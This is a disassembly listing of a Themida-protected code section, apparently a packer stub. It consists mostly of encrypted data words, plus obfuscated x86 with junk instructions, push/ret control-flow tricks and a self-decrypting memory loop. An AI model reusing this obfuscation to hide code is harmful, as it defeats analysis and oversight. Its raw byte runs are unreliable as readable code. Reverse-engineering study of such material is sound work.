0B85F3041h, 6D9F561Fh, 75027940h, 97030763h, 0BC7D933Fh dd 0D98A9838h, 0EB191851h, 2034B538h, 81B88025h, 61893064h dd 0A4DD1417h, 95C6330Dh, 0C15FAD13h, 0BCE6C673h, 81C2091Bh dd 42F7430Bh, 0E391B58h, 0C87FD54Ah, 3A851D7Eh, 9E80F012h dd 352D2432h, 299DB808h, 763E5F6Eh, 3540B67Ch, 13AA3105h dd 5BEFC300h, 3E8D8D18h, 6A061636h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0E66CC357h dd 30F9858Bh, 8D890610h, 61009F5h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0E8C35242h, 60E9EB28h, 6654E380h dd 6146C2BFh, 280D9D8Bh, 85C70610h, 6102319h, 6998h, 1C19D29h dd 85C70610h, 61022C1h, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5AEA5F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AEA5F proc near ; CODE XREF: Themida_:005AEA57p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5AEA5F endp ; --------------------------------------------------------------------------- db 0EDh ; --------------------------------------------------------------------------- dec esi aas cwde and al, 0A0h test [edi], dl mov [ebp+6100C6Dh], eax push dword ptr [ebp+6102ED5h] jmp loc_5AEA9C ; --------------------------------------------------------------------------- dd 0FC872E79h, 1CC02062h, 0DF5CD8DFh, 0D4929218h, 0B8D7E19Eh ; --------------------------------------------------------------------------- loc_5AEA9C: ; CODE XREF: Themida_:005AEA83j call dword ptr [ebp+6102DB9h] push 0 call dword ptr [ebp+61031C9h] mov eax, eax jmp short loc_5AEACA ; --------------------------------------------------------------------------- dw 5DC5h ; --------------------------------------------------------------------------- sbb [esi+20h], edx mov ah, 61h retn ; --------------------------------------------------------------------------- mov al, ds:89CFFDEDh add al, 3Ch mov bh, 78h popa lahf fidiv word ptr [ecx+43h] inc ebx adc eax, 2E9FB1BBh loc_5AEACA: ; CODE XREF: Themida_:005AEAACj call near ptr sub_5AEAE0 xor [ecx], edi xchg eax, [ecx-6D56D6FFh] cdq ; --------------------------------------------------------------------------- dd 0CC645C8Fh, 6490939Fh ; =============== S U B R O U T I N E ======================================= sub_5AEAE0 proc far ; CODE XREF: Themida_:loc_5AEACAp mov ax, 0FF46h pop ecx mov ax, si add ecx, 6800h mov esi, edx push 0 mov esi, [ebp+6103169h] pop edi mov [ebp+6102199h], ebx loc_5AEB02: ; CODE XREF: sub_5AEB29+4Bj mov ebx, [ecx+edi] or [ebp+61023B1h], ebx add ebx, 5EAED0F0h call sub_5AEB29 retf sub_5AEAE0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- cli wait mov al, 0EBh sar dword ptr [ebp+edi-34920663h], 1 retn ; --------------------------------------------------------------------------- db 12h dd 5EECA1ECh db 12h ; =============== S U B R O U T I N E ======================================= sub_5AEB29 proc near ; CODE XREF: sub_5AEAE0+31p ; FUNCTION CHUNK AT 005534D8 SIZE 00000047 BYTES push ebx mov eax, [ebp+61020B1h] pop edx pop esi sub ebx, 6AE41D14h movsx eax, cx add ebx, 688B8673h jns loc_5AEB4D mov eax, [ebp+61018F9h] loc_5AEB4D: ; CODE XREF: sub_5AEB29+18j mov [ecx+edi], ebx mov [ebp+61021A5h], ecx js loc_5AEB62 sub [ebp+6102A05h], esi loc_5AEB62: ; CODE XREF: sub_5AEB29+2Dj sub edi, 1 dec edi dec edi dec edi mov [ebp+6102ACDh], edx cmp edi, 0FFFF98B8h jnz loc_5AEB02 jmp loc_5AEB8B ; --------------------------------------------------------------------------- db 0B2h dd 0D847995Ah, 0F17F8E34h db 0FCh ; ü db 0A4h ; ¤ db 47h ; G ; --------------------------------------------------------------------------- loc_5AEB8B: ; CODE XREF: sub_5AEB29+51j jmp loc_5AEC19 ; --------------------------------------------------------------------------- dd 26051B78h, 0BAF5CC47h, 66D138F3h, 9FABAFD6h, 7C4DB297h dd 95B7E3h, 0E9A9E572h, 9BB69CB5h, 0B6F37760h, 9EB794A9h dd 7D60D760h, 9EA9BD89h, 729EBD8Ch, 4A95ACE3h, 9BB98B20h dd 9D89937Eh, 0AFF496B9h, 94A19E96h, 91A7D6B5h, 48D100FDh dd 33594ACCh, 5200713Ch, 0F357DB4Dh, 0EFB6005Eh, 0BD899DBBh dd 9F899500h, 97BBEFB6h, 0B1B6D000h, 527155C3h, 0DA43700h dd 910D3C2h, 0Eh, 2 dup(0) db 0 ; --------------------------------------------------------------------------- loc_5AEC19: ; CODE XREF: sub_5AEB29:loc_5AEB8Bj jmp loc_5AFC93 ; --------------------------------------------------------------------------- push 6163966h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6163A99h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6163B8Eh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6163C9Dh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6163D0Eh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6163DBBh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6163E62h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6163EEAh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6163FD5h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61640A4h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6164188h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61642D0h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 616454Fh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6164674h jmp loc_5534D8 ; --------------------------------------------------------------------------- dw 53F3h dd 671D9C10h, 48FD7C30h, 671C9B0Fh, 8527AE2Ah, 68949246h dd 0A31756FAh, 7C307114h, 9A0E49FDh, 7B2F641Bh, 45FDAC90h dd 0A16BDA44h, 79327844h, 92395044h, 7584E15Dh, 1EC59466h dd 24393DE9h, 0BF29223Ch, 5B93A006h, 2A0FFCD1h, 0DC67FCD5h dd 79C59480h, 9C943CD3h, 4DFFBAA4h, 17FE620Eh, 943CD3ABh dd 9032D94Bh, 74943CD3h, 1CFFDCF8h, 0D17A4185h, 0F5B8BF9Ch dd 0D5397A7Ah, 38h, 1EBD5C37h, 7C745D4Ch, 8D9267FCh, 9D96B4BDh dd 60E2C97Fh, 84943CC7h, 0FCA8CCA8h, 67CD4982h, 331B318Eh dd 0DAD16D16h, 7F34943Ch, 8FAC05E0h, 0B88C397Ah, 0FE000000h dd 50447932h, 0AC589739h, 276407D2h, 59E2F77Bh, 12897DB2h dd 1A82459h, 6DCC017Ah, 994E1EC5h, 35C4785Ch, 58AD598Eh dd 79401AC1h, 98C09DD2h, 3F1F0F1h, 401A1698h, 0DE77810Bh dd 0F409D057h, 24C9906Ah, 686F0EEBh, 1F534D8h, 7C2F4125h dd 9E1597D7h, 0A219332Fh, 326F14EEh, 691B9A0Eh, 0C598BD2Ah dd 0E4B04034h, 0E19F3h, 0D71ACC00h, 0F52CD463h, 0D20BC239h dd 0EF2CDF56h, 0C908BC3Bh, 79EB1715h, 952498D7h, 80F7B3F4h dd 9C1B8FCAh, 0FFAAEE3h, 45C47E2Dh, 0C3206BDAh, 3F7E32F9h dd 9ECFB18Bh, 0D22D5126h, 53EF962Eh, 0B36DCC24h, 7219A2B7h dd 5CEB813Dh, 0FBB128BDh, 7C6DD5C4h, 0AD896DCCh, 463A7B2Eh dd 65F406EAh, 989C88BFh, 1A2F7021h, 7C6E4346h, 0CCA867FCh dd 917866D8h, 943C7C31h, 878459D5h, 943C7C3Fh, 0EB0EA5DEh dd 397B3622h, 45295992h, 0CE759C2Ah, 238567DBh, 0BFA37F94h dd 0D646AAh, 0D7840000h, 407D32A9h, 0CC7CE959h, 3C110D6Dh dd 0DF93C87Fh, 0AB8738Dh, 0EA6DCC7Ch, 2EE2596Eh, 7CB012F9h dd 0D8546DCCh, 0DA6108FCh, 256DCC01h, 695497Eh, 2856285Dh dd 3380C181h, 34492592h, 0CA767D72h, 3C38EC21h, 71184618h dd 923380D1h, 3C243935h, 0BAF19722h, 968D6AC6h, 9803F68Dh dd 34914D29h, 3A2436A5h, 2391F34Fh, 32171394h, 364F7310h dd 2F51267Fh, 1546C67Ch, 28421E9Eh, 0ABC0FFB1h, 236206D5h dd 3D7C30A7h, 35ECA190h, 0D0D9CD40h, 0CE6h, 2B6F999h, 2296CD73h dd 0F9B5EE93h, 1C90CD82h, 30ACEB9Dh, 0E89CCE3Ah, 3A635A9h dd 0DB8F06C2h, 0F6AD2CA0h, 1E220DC1h, 0DA46D76Bh, 0EAB22F6Bh dd 8B3F7E32h, 0AC15530Ch, 1985A7A6h, 0BD4BFFE3h, 50447932h dd 0B90900DEh, 5D6DCC7Ch, 0B86FEC01h, 1C0841E8h, 0F9803C18h dd 7A411B54h, 8BE79BD2h, 0FEDB16CCh, 0ADE28900h, 0BA3F8D31h dd 0D0AEC01Bh, 9B3ABC9Bh, 2C41CC1Bh, 0FCCEE27Fh, 0AD280467h dd 0B2E741FEh, 47F9008Ch, 0B5B165A6h, 0CF8EBF91h, 1352F6A8h dd 3BD6035Fh, 28502DF6h, 9A4C8081h, 0D7146665h, 3A5E42F9h dd 0C77B2A72h, 58919AC6h, 0A58175B4h, 0A15571EDh, 4416C554h dd 0AD3B6745h, 82289F9Bh, 0CDB9F8ACh, 9D998D69h, 497AC8C3h dd 0BE9A9B8Fh, 5A11C8A2h, 0D9904B25h, 0CA2EBBA0h, 7135EF2Dh dd 0AC53E25Ch, 1F71D277h, 653145ABh, 0BF174h, 0BF02A400h dd 9DD48C0Bh, 0BAF39A21h, 97D477FEh, 0B1F09423h, 81F30FFDh dd 9D1C90CFh, 0A82FABECh, 8413C702h, 3732A6DBh, 47FC4645h dd 9B186BDAh, 44793211h, 87546350h, 1EDDB675h, 22B967FCh dd 9A0E326Bh, 532DAE45h, 0C8AD402Dh, 0B354A9B2h, 0BE0CED96h dd 1EFA9E13h, 0C59B2372h, 497A9E13h, 7C7E4FAAh, 475E3F8Bh dd 0AC000000h, 4C1EBD5Ch, 0FCCA645Dh, 319D8267h, 7072A37h dd 647EA61h, 3BEE10EAh, 94230B87h, 0C6BAEF98h, 0FFB6B26Ah dd 1D190D4Eh, 0EDA11840h, 0F14FF6B2h, 4A94230Bh, 69F06CA1h dd 0A4968AC5h, 18357215h, 0B41A9h, 0BD5C2300h, 0F5D4C1Eh dd 9767F633h, 49E20A92h, 970ECF52h, 68CCB8F3h, 40E7728Ch dd 1FC84F0Bh, 2AC936EAh, 2BEC9FB1h, 0D39E1F0Ah, 0DB68557h dd 0BF7A64D8h, 42F9CE0Dh, 53A05489h, 464517C4h, 942F0771h dd 7E9F888Dh, 24A137B4h, 0E3086B54h, 0EFD31C8Dh, 2AF0C34Ah dd 0EEF7AF5Eh, 0AE2h, 0F6B2F595h, 1692C97Fh, 0FDB1EA9Fh dd 0D08CC97Eh, 0F468A749h, 0B4588AF6h, 8F42B975h, 0A75BDA4Eh dd 0C269F06Ch, 0E2DED18Dh, 0DA409B27h, 961E7B6Bh, 0CC7C4402h dd 0F1F4036Dh, 0CC7C883Ah, 0D4F06C6Dh, 33C60FFAh, 0A48067F6h dd 94B2A1CAh, 0BE53AAA5h, 5B04D7A9h, 7C23B226h, 4F665B47h dd 0DAB7728Ch, 0BC9E15CAh, 1F7EFB60h, 3E564031h, 0A7155h dd 3F822400h, 1D540C8Bh, 3A731AA1h, 1754F77Eh, 317014A3h dd 1738F7Dh, 1D9C104Fh, 28AF2B6Ch, 4934782h, 0B7B2265Bh dd 417CC6C5h, 1B986BDAh, 44793291h, 0E4EDDE50h, 60F66F49h dd 21CA9166h, 329138ECh, 787B5693h, 0CD5B336Ah, 0B1000004h dd 15D596D7h, 8F9B3A7Eh, 0A4B99DDEh, 5729B241h, 0C4F9B229h dd 8C7754D0h, 67F6EE7Fh, 8A512B07h, 0A930ACE1h, 67D9CD02h dd 0CE0FC279h, 0EB573E22h, 449426D9h, 0B1B561A0h, 9B8865C1h dd 9426D923h, 2A44971Eh, 0D5C1FAAFh, 0A5647C51h, 9E16BBCCh dd 76E94ECAh, 3A40322Ch, 9C4796Ah, 0D7770000h, 0EBA11894h dd 0CC81F8B4h, 0EBA01793h, 0C97BFAAEh, 0ACD8CE8Ah, 8F4B8A3Eh dd 0A8246508h, 86427D31h, 0A723580Fh, 71D1B8C4h, 956BDA41h dd 79328C18h, 92395044h, 0A122A95Dh, 2A26E702h, 0C396336Bh dd 640CE122h, 424h, 562ADF5Ah, 7F5C78ADh, 7C4402A5h, 0F4036DCCh dd 7C883AF1h, 0F06C6DCCh, 7C972BDEh, 0F36F6DCCh, 70EFDCFh dd 0BF67F633h, 19D28963h, 3AF168E4h, 5517DE0Fh, 7975EB40h dd 25CB3092h, 7C58D494h, 7F23B688h, 3FD62744h, 0AAC7C29Ch dd 6C9E15A9h, 3AA24BF0h, 0C2D24031h, 91DD1h, 0DB1ED000h dd 0F930D85Fh, 0D60FB645h, 0F330D362h, 0CD0CC037h, 7DEF1B11h dd 49D08CCBh, 64F367A8h, 50C783BEh, 3E66297h, 42B012F9h dd 57546BDAh, 447932CDh, 5D923950h, 0DA0FB883h, 497A01FDh dd 2A930AAh, 26E7B0CDh, 6336B2Ah, 378h, 7C5E0244h, 0EA096DCCh dd 1E2CDFF1h, 0E667F633h, 42E9708Ah, 8E82BB72h, 7BFAAE92h dd 0EE38FC4h, 0FFAD407h, 9E15C84Ah, 0A4E385FCh, 6D781BC0h dd 144031h, 89597h, 63A64800h, 81B870E7h, 5E974ECDh, 7BB86BEAh dd 559438BFh, 6597F3D9h, 51C884C3h, 6CEB5FA0h, 38BF7BB6h dd 0EBDE5A8Fh, 42A81A11h, 4F4C6BDAh, 447932C5h, 5AEDDE50h dd 93D073ABh, 22CD42A6h, 0A0D58E45h, 6D0497F4h, 72E61BC4h dd 6B2E66A7h, 6F95D633h, 4BC9E8C2h, 180EC297h, 30000000h dd 0DDC906A9h, 0D7A88459h, 7C4002A9h, 0C8A46DCCh, 2CA36B3h dd 2860000h, 6DCC7C5Eh, 0DFF1EA09h, 8D6AA75Ch, 20C6956Bh dd 12EEF8E5h, 4D771371h, 0A24C7330h, 0B58467F6h, 462AD611h dd 0DBF57131h, 588D3605h, 263F8386h, 5BD79426h, 0D90EB57Eh dd 0F82DD665h, 72B153E6h, 4D7A955h, 0F67A265Bh, 0A5518A3Fh dd 0BA59ACC1h, 7A314F21h, 942626C8h, 451B302Ch, 165B0546h dd 21CAC19Eh, 183C38ECh, 32FBDEB3h, 553E5640h, 7AAh, 0EE6AAD5Dh dd 0CE8AC167h, 0F569A247h, 0C884C166h, 0EC609F51h, 9C5082FEh dd 0B75AE15Dh, 8F33C276h, 0AA61D854h, 0EAD6B975h, 0DA43833Fh dd 0BE86636Bh, 74C996D7h, 2B104900h, 4F2C5C34h, 0F9B0DB84h dd 6DCCA249h, 0E195B1ADh, 4016CC8Fh, 57745089h, 2EE23DCh dd 969F3645h, 3904B8EDh, 336A5778h, 0E58h, 2ED36600h, 482501F5h dd 1E2407Ch, 28C0000h, 6DCC7C5Fh, 0DEF0EB0Ah, 0F6330D2Bh dd 6779F567h, 0E4F62BD4h, 6277B055h, 2DDC02DCh, 9425B595h dd 0D1B5EC71h, 0FFE55A2h, 0E69D1633h, 0E9F0C5B1h, 6831D8F2h dd 0FC9E1530h, 0CCD887CFh, 1C31232Bh, 8DB86F66h, 1502249Eh dd 8064C09Eh, 7B49094h, 4031D078h, 0DBF7E0B4h, 8E000006h dd 962599DCh, 7403B7EEh, 0A11894CDh, 7EFDB1EEh, 0D9CF8BCAh dd 4E8D3FADh, 69AA5BDAh, 85C066F5h, 649952C9h, 10FB05E8h dd 6BDA3CB2h, 32CF5552h, 0DE504479h, 6B35CB00h, 18255022h dd 0CC4BD171h, 7ABB6E6Dh, 1E550B82h, 0F5AE2542h, 0FB5D4C0h dd 0F8AD2CD8h, 0E576D3BFh, 546E74Eh, 3C311511h, 8B4E8827h dd 0F7C499DAh, 0DC9F1B50h, 336AFF11h, 14F1h, 964C0F00h dd 571CA665h, 7CF86DCCh, 40A98358h, 0FCh, 7C5F028Ch, 0EB0A6DCCh dd 0A55BDEF0h, 0C99E826Eh, 33DCF4B7h, 383467F6h, 0B7EC9326h dd 8DCB7403h, 2F1AEC41h, 5EA73067h, 392988B5h, 9A671B37h dd 9B8E607Bh, 9E155BDEh, 59790546h, 0DE61EFE2h, 2004F025h dd 12DF1744h, 0D5E68F74h, 0C12602F8h, 40318FF0h, 0F7534450h dd 0AA000005h, 9209C508h, 0B027A3DAh, 8D0CC0F9h, 9A219DDAh dd 503B7F6h, 9AD98BF9h, 0B5F6971Eh, 91CC82F9h, 0B0E59E1Dh dd 7C2F11FCh, 6BDA3DC6h, 32FBC11Eh, 39504479h, 32A95D92h dd 3655417Ch, 0DB14B991h, 0FB00BF7h, 2C4F4C70h, 9ED38C95h dd 359E6F2Ah, 0F00E336Bh, 33888939h, 0DCF16D92h, 774h dd 3940D600h, 8C000000h, 50447932h, 835D9239h, 2DD910B8h dd 7CEA5853h, 0E0A6DCCh, 0D1711832h, 356DCC7Ch, 47622439h dd 0AF58D978h, 2F45BE7Ah, 6B000000h, 0CFFC3DF0h, 0DFB0D9ABh dd 0C4607D78h, 206104D7h, 36CBF074h, 0ACB0256Eh, 631C97B4h dd 0AA13422Eh, 506DCC62h, 0EC939231h, 122E631Ch, 79321096h dd 7CE75B4Eh, 2EDD6DCCh, 6DCC7C94h, 20FCF470h, 0FCAF2A44h dd 0B259D3BFh, 6DCC7C10h, 7F5C78F4h, 38A3327Fh, 33356326h dd 51CD67F6h, 0CD04BC7Fh, 5A11C8B0h, 7932A925h, 54635044h dd 0B5289A91h, 0B5CC9425h, 4420D413h, 7F2A4420h, 9E1FFABEh dd 4712EC48h, 0BBB76BA0h, 48FFBA9Eh, 67209713h, 43461832h dd 9E1FEEFFh, 403E1B17h, 65776473h, 2F9791A6h, 4CF16D94h dd 5E2B2691h, 0AFA0091Dh, 62000004h, 6AF16DB0h, 48CF8BC2h dd 65F468A1h, 52C985C2h, 0FDEB5F9Eh, 72B15381h, 4D8E3FB6h dd 29640A91h, 487D26B5h, 0E4A79994h, 6BDA3E5Eh, 327339B6h dd 0C708A979h, 0BF7B57DBh, 805A8F38h, 29DD12B9h, 0CDBF9244h dd 3DFB47Dh, 54638E6h, 92FE9355h, 6647C91Eh, 5E8A3C21h dd 995209DEh, 85DBB064h, 2AD60FB6h, 0F3923146h, 8A97932h dd 9C68DAD1h, 908C6DCCh, 0EE5BC0B4h, 0AFD16DFDh, 1793AF93h dd 0ACB60845h, 3DFF23A9h, 0F5965720h, 4876336Ah, 0D4000000h dd 4C1EBD5Ch, 6727F01Fh, 3C115953h, 4E5C6524h, 219867FCh dd 0B5F0966Eh, 74C6BC91h, 3C4A0DB5h, 7EC4C794h, 96943C4Ah dd 0CF86E29Ah, 0EA04E01Bh, 0CC80BB6Fh, 3C4AA71Dh, 9ACF7894h dd 0B8F3971Eh, 3D4DBCCh, 5C310000h, 5D4C1EBDh, 67FC1104h dd 0BBDAC6A2h, 8823CF04h, 34C39837h, 0ABD5A7h, 94239742h dd 0CFB1C6A2h, 13FA87DCh, 5E4D1F9Eh, 9E13A9E4h, 8C402400h dd 468527B2h, 498A3B5Ah, 26AD502Dh, 68209BB5h, 0D66C1F31h dd 2E9E13A9h, 48431532h, 9423C41Bh, 14B35FBBh, 53453170h dd 0AB4A01A0h, 6D1DE627h, 0F8DC3488h, 0A47E23E6h, 1C188A33h dd 3D7219A0h, 0F44E3D23h, 108A73E3h, 0E3D76B1Eh, 332F8A73h dd 4D4C3A0Fh, 98ED6196h, 89805A81h, 80438EA0h, 4F160A66h dd 8C63F5F7h, 0B5749F48h, 8C63F50Dh, 0BD698DE9h, 772B6A1Eh dd 0B06DAC60h, 5F48740Bh, 92498D24h, 0D1C6A3DAh, 51BBA100h dd 47E0h, 4D72A00h, 9BD88B5Bh, 0BB678BE7h, 7C28691Ch, 5EFFDCF8h dd 748E957h, 438714E2h, 5F83CEDDh, 2EB59E8Dh, 0D55167FCh dd 2DCC7A21h, 0AA61943Ch, 670A8175h, 7E1D7A26h, 9330D9E7h dd 0E4B8F9FCh, 0D498397Ah, 0F2000000h, 245D04D7h, 95D38C47h dd 67A582BAh, 3DDF96Fh, 0AB579238h, 1E5B10C7h, 58E35D49h dd 0DC5774B5h, 9E3DE928h, 0C5C4B0E5h, 8A38F31Eh, 6A6DCCC6h dd 579437EEh, 2FABC7ABh, 0CCBBF178h, 6CA14A6Dh, 0B80F5992h dd 39B92B50h, 8BC09A24h, 0E3195C3Ah, 0EE2FE2FBh, 15421E02h dd 52A8CEAFh, 82390ECBh, 13E094C9h, 605D704h, 67FC49C5h dd 0DC29A581h, 0D779953Dh, 0BFF4A5E2h, 0E8E2C9A3h, 0FC9E0AF9h dd 0DA8B4E20h, 1D9CC499h, 29B02C6Bh, 0C6A34887h, 4E40353Ah dd 2304D56h, 43E30000h, 17CD4C00h, 38ED6CE0h, 17CC4BFFh dd 35D75EDAh, 384442F6h, 73E726CAh, 4C0041E4h, 6ADE19CDh dd 4BFF34EBh, 15AD5C60h, 0F16BDA39h, 7E3228F4h, 530C8B3Fh dd 0D71CAA1Eh, 0E9AC7296h, 4D9C98Fh, 77895261h, 0FC7D9FB4h dd 79185567h, 0CAC0DE14h, 65D7CBA0h, 3C471CA6h, 587CF894h dd 6607D2ACh, 0D8F57125h, 3C47932Bh, 0A2417294h, 7AFA8647h dd 0F36639h, 0E1580000h, 2105F12Eh, 7932804Ch, 5BDE5044h dd 0FB376A7h, 0E76DCC7Ch, 0C992678Bh, 0C19B4D27h, 0D5F1D50Ah dd 1F37A21h, 0FF16DCCh, 3387A61Ch, 0A2473E92h, 5608D69h dd 74EA5AF2h, 25DE5572h, 6BD3CF0h, 2AE1FFD1h, 9233BC98h dd 0DBCBA07Ch, 90316C61h, 20B4402Eh, 0C01BBA4Bh, 0D33EFBAEh dd 6CC89803h, 0E9DD0EF0h, 0F029E072h, 9A3B2004h, 58A5C2D9h dd 90CB7FC1h, 83FE5E4h, 33F608ECh, 9E15BCE6h, 89FE9B80h dd 5A5F015Dh, 0BC6B5FECh, 0A4C0A47Fh, 155D0FCAh, 30C5E39Ah dd 9C10341Fh, 0BF2C6B1Dh, 40343718h, 0B776034h, 0BE000001h dd 8615C90Ch, 0A433A7DEh, 9108C4FDh, 0AE2DA1DEh, 9FFBBFAh dd 9EDD8FFDh, 0B9FAAB2Ah, 95D07605h, 0B4E9A219h, 802B15F8h dd 6BDA3AC2h, 32FFC522h, 0C4FDA47Eh, 6F236405h, 0DC5BCFF3h dd 603AEE23h, 0DEFB34D9h, 44793246h, 5D923950h, 0E310B883h dd 0CC7C9A28h, 0C29E7A6Dh, 8D6552CEh, 0EB48C61Ch, 0A17B4318h dd 8F9CC4ACh, 6C1F7047h, 6DCCF5D6h, 390E322Eh, 21C50DACh dd 0C405A872h, 3B6754D0h, 334D2929h, 0CA78334Dh, 2A6DCC3Dh dd 0B172192Eh, 5567F672h, 0F5AE2DD9h, 7663DFCAh, 0AA619426h dd 94267618h, 0F47020FCh, 49825CD0h, 0D710D44Fh, 0EB688599h dd 4413FF34h, 0F411C3F7h, 35FC932Ch, 56E5598Eh, 0D8C78ADh dd 1D431D5Ah, 0EE076930h, 4433CB31h, 0B41A28FEh, 7B76D8E1h dd 0F4ACAFB4h, 31A36378h, 54E7E382h, 0DD5673AEh, 0BE3DF126h dd 9942C705h, 0FCA8E387h, 49B15378h, 0F4A00B7h, 3563F33h dd 0A6000000h, 80326D5Fh, 9952493Dh, 7519B064h, 9E4F463Ah dd 7E32A95Dh, 9034533Fh, 8126A551h, 94395044h, 7830A75Bh dd 52CF5541h, 0C281E289h, 4, 8704EA83h, 248B2414h, 0E6895624h dd 4C681h, 0EE830000h, 24348704h, 243C895Ch, 5E08950h dd 4, 8704E883h, 895C2404h, 3F682434h, 5F061638h, 390E68h dd 24248900h, 4240481h, 5E000000h, 89F98951h, 0C8B084Eh dd 4C48124h, 8B000000h, 89532434h, 4C381E3h, 83000000h dd 1C8704C3h, 34FF5C24h, 0C4815F24h, 4, 0FA384BE9h, 8A9D14FFh ; --------------------------------------------------------------------------- or [ecx-3Bh], dh loc_5AFC93: ; CODE XREF: sub_5AEB29:loc_5AEC19j mov eax, 61647A4h add eax, ebp jmp eax sub_5AEB29 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 19F43D82h, 8BD95EAh, 1FA75C2h, 69C8D6E9h, 7B5C4A1Eh dd 4479FD2Eh, 25E51D1Eh, 19AD9645h, 104852BAh, 0B08DAFDh dd 13D3F6E6h, 1C16BF94h, 0BA35E2Bh, 720B46Eh, 33B37AB9h dd 11E303C7h, 8DB4866h, 21C043E8h, 0F7B22D3h, 36CF123h dd 68AC1AD8h, 1AAE9h, 0DA3BE200h, 0D52C2703h, 0B198D31Ah dd 0CAD1D746h, 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh dd 0D792A59Eh, 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch dd 0C945D200h, 0EE73AFh, 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h dd 57F647FEh, 0CCD4C456h, 7DB5F600h, 9549F78Fh, 0BCFA9753h dd 5CCD45C9h, 0E56CA191h, 10000ACh, 43h dup(0) dd 84970000h, 0F033A26Dh, 0EE69h, 0Ah dup(0) dd 0E9000000h, 0FD8h, 164C0368h, 0AAE906h, 3068FFFBh, 0E906164Dh dd 0FFFB00A0h, 164E8A68h, 96E906h, 5868FFFBh, 0E906164Fh dd 0FFFB008Ch, 16506F68h, 82E906h, 4B68FFFBh, 0E9061651h dd 0FFFB0078h, 1651F068h, 6EE906h, 6D68FFFBh, 0E9061652h dd 0FFFB0064h, 16537168h, 5AE906h, 0EA68FFFBh, 0E9061653h dd 0FFFB0050h, 16548168h, 46E906h, 4F68FFFBh, 0E9061655h dd 0FFFB003Ch, 16560F68h, 32E906h, 5868FFFBh, 0E9061657h dd 0FFFB0028h, 16589968h, 1EE906h, 3A8DFFFBh, 0F6EADB88h dd 3F96673Ch, 0EFE5D88Dh, 4595683Dh, 9E66D68Bh, 580DC71Bh dd 0E5BA7465h, 570CBE18h, 0E6BB7566h, 69087306h, 0EC1DDE8Fh dd 3D5AA652h, 8494604Bh, 867F2020h, 0A5F49B55h, 961AEDB6h dd 2EE6AA3h, 0B2A0014Eh, 7288F3CAh, 0F51DD894h, 163D8A09h dd 0B911B869h, 0D936F0Ah, 0FCBE9390h, 31h, 5EA95A44h, 17C8453Bh dd 0B0416A1Ah, 7803FA82h, 1DD8456Ah, 1562610Dh, 11B8447Eh dd 8C47E251h, 8C33EDDDh, 0BF25BDDEh, 0AEBE93B8h, 107h dd 4D075CF2h, 29E3F746h, 0AB085BAAh, 66510B3Eh, 17C844D3h dd 0BFBE9282h, 0FAA76172h, 0C84A380Dh, 5F194A17h, 0D690C332h dd 0F3E856B7h, 509D24DEh, 441044F6h, 4FD0026Dh, 25D61DD8h dd 0B832B7DAh, 0ADEE9E11h, 682236C7h, 334BEE99h, 1A0A11B8h dd 0D30A7746h, 335EF17Eh, 7F711B8h, 3986345Bh, 61446D27h dd 53AAD280h, 0CAEA9AA8h, 0C231DD17h, 8E651F33h, 79FF92DDh dd 97560BA5h, 0BADD6748h, 317ED2ACh, 0BB676620h, 0B140B3F2h dd 3EC7E8A2h, 8954520Ch, 0CFE21638h, 0D6834CCh, 6590000h dd 9AAEFF54h, 0B42B3E0h, 0A3B90C59h, 151A4F1h, 5A2A1A47h dd 9CC983D7h, 0D17E3829h, 6B38EAE4h, 0C28F499Ah, 55E48FE2h dd 1DDE91h, 0A95AB266h, 3150025Ch, 451F3285h, 463617C8h dd 0F0AAA025h, 470152A3h, 0DD7C0778h, 9B17C844h, 401B4F82h dd 9686EC5Eh, 601B90D5h, 3ADECB59h, 31EF52F8h, 38318698h dd 4896D49Dh, 0C330BF1Ah, 17C844B4h, 6F02F5A1h, 0E617C845h dd 1D3CC736h, 3817C845h, 5EA9184Ch, 1DD845CCh, 1B3EC93Ah dd 3A11B845h, 80FFB9A9h, 57DD7ED2h, 4E7DD006h, 0ED94C094h dd 0B8448BA2h, 0D48D4411h, 93B798FEh, 0B589BEh, 5AE10000h dd 0B93F6C3Dh, 3E5F390Fh, 0B3DA94C7h, 0C152A764h, 0DA51B2D3h dd 641E3491h, 174D125Dh, 263517C9h, 95C6376Ch, 0DACCB38h dd 0FDA917C9h, 9BC72AA9h, 93EF0CE3h, 0A7776472h, 8AF5CE8Fh dd 1DD90E48h, 81721FCFh, 9B22DCF4h, 1F43AEEFh, 9AE79867h dd 58068D47h, 0A5A1B017h, 0C8B417CBh, 9C568CF9h, 5385F4C7h dd 234CFA99h, 0F6B0A2h, 0E215790Fh, 3B9E3635h, 2C00000Ch dd 0E1D48133h, 8D6035EFh, 0ECD98638h, 0A4113EF0h, 0CD9FF4AEh dd 763022E5h, 0CB85DC29h, 7D2F2796h, 0CC86D528h, 39C61597h dd 1DDE9216h, 5CF9A13Fh, 0A6174C06h, 4D075AB5h, 5C1E4C19h dd 0F5464D07h, 7EDD8986h, 38A594A2h, 0C885AACDh, 0B2FBAB17h dd 58A30053h, 17C88639h, 6F24701Ch, 0D21DC46Ah, 17C885BFh dd 43BAE696h, 862847B4h, 412D17C8h, 3E58A320h, 211DD8A8h dd 6A014E75h, 6511B864h, 0F95F33EEh, 0E8BE9398h, 69h, 3AF4EC99h dd 1A483971h, 8BDC8B62h, 8B32ECDEh, 